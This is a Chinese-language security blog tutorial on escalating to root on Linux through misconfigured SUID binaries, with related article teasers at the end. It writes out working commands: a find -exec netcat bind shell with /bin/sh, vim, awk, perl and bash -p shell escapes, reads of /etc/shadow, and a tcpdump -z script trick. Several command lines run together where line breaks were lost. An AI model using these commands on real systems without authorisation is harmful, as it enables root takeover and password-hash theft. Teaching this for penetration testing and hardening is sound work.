Linux下利用SUID提權

2021-12-28 Ms08067安全實驗室
今天給大家帶來的是linux下的提權技巧。SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。如果擁有SUID權限,那麼就可以利用系統中的二進位文件和工具來進行root提權。已知的可用來提權的linux可行性的文件列表如下:
NmapVimfindBashMoreLessNanocp

以下命令可以發現系統上運行的所有SUID可執行文件。具體來說,命令將嘗試查找具有root權限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;

發現SUID可執行文件

以上所有二進位文件都將以root用戶權限執行,因為它們的權限中包含"s",並且對應的是root權限。
ls -l /usr/bin/nmap-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

SUID可執行文件 - Nmap


NMAP

較舊版本的Nmap(2.02至5.21)具有交互模式,允許用戶執行shell命令。由於Nmap在使用root權限執行的二進位文件列表中,因此可以使用交互式控制臺來運行具有相同權限的shell。

Nmap - 版本識別

交互模式可以通過執行Nmap參數"interactive"

Nmap - 交互模式

提權至Root權限

也可以通過Metasploit模塊對Nmap的二進位文件進行權限提升。
exploit/unix/local/setuid_nmap


Find如果Find命令也是以Suid權限運行的話,則將通過find執行的所有命令都會以root權限執行。
touch pentestlabfind pentestlab -exec whoami \;

Find命令權限提升

大部分Linux作業系統都安裝了netcat,因此也可以被利用來將權限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

通過Find運行Netcat

連接上去就會直接獲取到一個Root權限的shell。
netcat 192.168.1.189 5555idcat /etc/shadow

Root權限的shell

VIMVim是Linux環境下的一款文件編輯器。但是,如果以SUID運行的話,它會繼承root用戶的權限,因此可以讀取系統上的所有文件。

Vim - Shadow文件讀取

vim.tiny:set shell=/bin/sh:shell

Vim - Root權限


Bash以下命令將以root權限打開一個bash shell。
bash -pbash-3.2uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)


‍Bash - Root權限

Less


獲取到Root權限

cpmv使用mv 覆蓋 /etc/shadow 或者/etc/sudoersawk
awk 'BEGIN {system("/bin/bash")}'

manpython/perl/ruby/lua/etc

perl

import osos.system("/bin/bash")


tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.testchmod +x /tmp/.testsudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

參考資料

https://pentestlab.blog/2017/09/25/suid-executables/

http://blog.csdn.net/haofeifei6/article/details/11516753

https://evi1cg.me/archives/SUID_Privilege_Escalation.html

掃描下方二維碼學習更多WEB安全知識:







專注於普及網絡安全知識。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,目前在編Python滲透測試,JAVA代碼審計和二進位逆向方面的書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。

相關焦點

  • 對Linux—suid提權的一些總結
    需要這種特殊權限的場景在Linux下很常見。已知的可以用來提權的Linux可執行文件有:CopyNmap、Vim、find、Bash、More、Less、Nano、cp比如常用的ping命令。ping需要發送ICMP報文,而這個操作需要發送Raw Socket。
  • 利用capability進行Linux提權
    capability介紹capability翻譯為能力的意思,linux中能力的概念和suid
  • SUID提權
    連上蟻劍之後,打開虛擬終端,使用「LinEnum.sh」來收集要提權的機器上的信息。LinEnum.sh腳本主要用來收集Linux上的信息。只需將.sh文件傳入目標機中並運行即可,詳細命令在其官網上有介紹。
  • Linux系統利用可執行文件的Capability實現權限提升
    二、平臺及工具版本host系統:kali linux 2020虛擬機管理程序:virtualbox虛擬機:CentOS 7 三、操作步驟(一)Linux Capabilities管理1、但是文件cap_setuid的capabilities和文件的suid標誌位之間是沒有關係的:設置了cap_setuid的capability的文件並沒有設置suid。
  • Linux提權的幾種常用方式
    在滲透測試過程中,提升權限是非常關鍵的一步,攻擊者往往可以通過利用內核漏洞/權限配置不當/root權限運行的服務等方式尋找突破點,來達到提升權限的目的。1、內核漏洞提權提起內核漏洞提權就不得不提到髒牛漏洞(Dirty Cow),是存在時間最長且影響範圍最廣的漏洞之一。
  • [網絡安全] 二十八.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(2)
    4.敏感信息分析獲取flag1和falg25.資料庫爆破6.資料庫管理員密碼修改及獲取flag37.用戶信息獲取flag48.提權和Hydra爆破flag59.SSH遠程登錄10.suid提權三.總結作者的github資源:
  • linux-kernel-pwn-csaw-2015-stringipc
    我的環境是內核linux-4.4.110[3],文件系統是busybox-1.31.0[4]。其中需要注意一點的是在init文件中要加入sysctl -w kernel.hotplug=/sbin/mdev或者是先insmod StringIPC.ko再執行/sbin/mdev -s,否則會在dev目錄下不會自動生成csaw設備。
  • Linux文件系統的特殊權限之SUID
    Linux系統下,常見的文件權限有rwx, 分別對應可讀, 可寫,可執行三種權限。
  • Linux Kernel Pwn_2_Kernel UAF
    其中cdev結構體如下:https://elixir.bootlin.com/linux/latest/source/include/linux/cdev.hstruct cdev { struct kobject kobj; //每個cdev都是一個kobject struct module *owner; //指向實現驅動的模塊
  • 提權篇:溢出漏洞 EXP提權 教程
    1、提權的概念:將系統權限提升到root、 system 或者 administrator。2、網上提權的定義:拿到伺服器權限,並且成功登陸伺服器。但是,我認為這是不準確的,因為很多時候拿到的權限以及登陸伺服器並不是管理員,就是 一個擁有很低權限的普通用戶而已。
  • 滲透測試No.21 hacksudo-1.0.1 scp提權
    聲明:文章來自作者日常學習筆記,請勿利用文章內的相關技術從事非法測試
  • MySQL/MsSQL/Oracle提權總結
    下面簡單演示下 mof 提權的過程。②利用場景1.如果mysql版本大於5.1,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下/2.如果mysql版本小於5.1, udf.dll文件在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄。
  • 【好文推薦】各種提權姿勢總結
    KSafeTray.exe  金山衛士  McAfee McShield.exe  麥咖啡SafeDogUpdateCenter.exe  伺服器安全狗windows提權中敏感目錄和敏感註冊表的利用(哪怕是IIS重啟下)同樣秒殺之。
  • 理解 Linux 特殊權限 SUID,SGID,SBIT
    我們一般會再次把它們縮寫為 suid 和 sgid。它們是控制文件訪問的權限標誌(flag),它們分別允許用戶以可執行文件的 owner 或 owner group 的權限運行可執行文件。說明:本文的演示環境為 Ubuntu 16.04。
  • Linux權限管理之chmod
    Linux下文件的權限類型一般包括讀,寫,執行。對應字母為 r、w、x。Linux下權限的粒度有 擁有者 、群組 、其它組 三種。每個文件都可以針對三個粒度,設置不同的rwx(讀寫執行)權限。通常情況下,一個文件只能歸屬於一個用戶和組, 如果其它的用戶想有這個文件的權限,則可以將該用戶加入具備權限的群組,一個用戶可以同時歸屬於多個組。
  • linux-kernel-pwn qwb2018 core
    通過強網杯2018內核題core來了解如何利用基本的棧溢出來進行提權。\n'umount /procumount /syspoweroff -d 0-f由於存在echo 1 > /proc/sys/kernel/kptr_restrict,導致無法在非root權限下查看/proc/kallsyms,但是它已經用cat /proc/kallsyms > /tmp/kallsyms,也可以通過/tmp/kallsyms讀到符號地址。
  • 每天十分鐘-學透linux--(兩個特殊權限 SUID SGID)
    [root@linuxprobe ~]# cd /tmp[root@linuxprobe tmp]# mkdir testdir[root@linuxprobe tmp]# ls -ald testdirdrwxr-xr-x. 2 root root 6 Oct 27 23:44 testdir[root@linuxprobe tmp]# chmod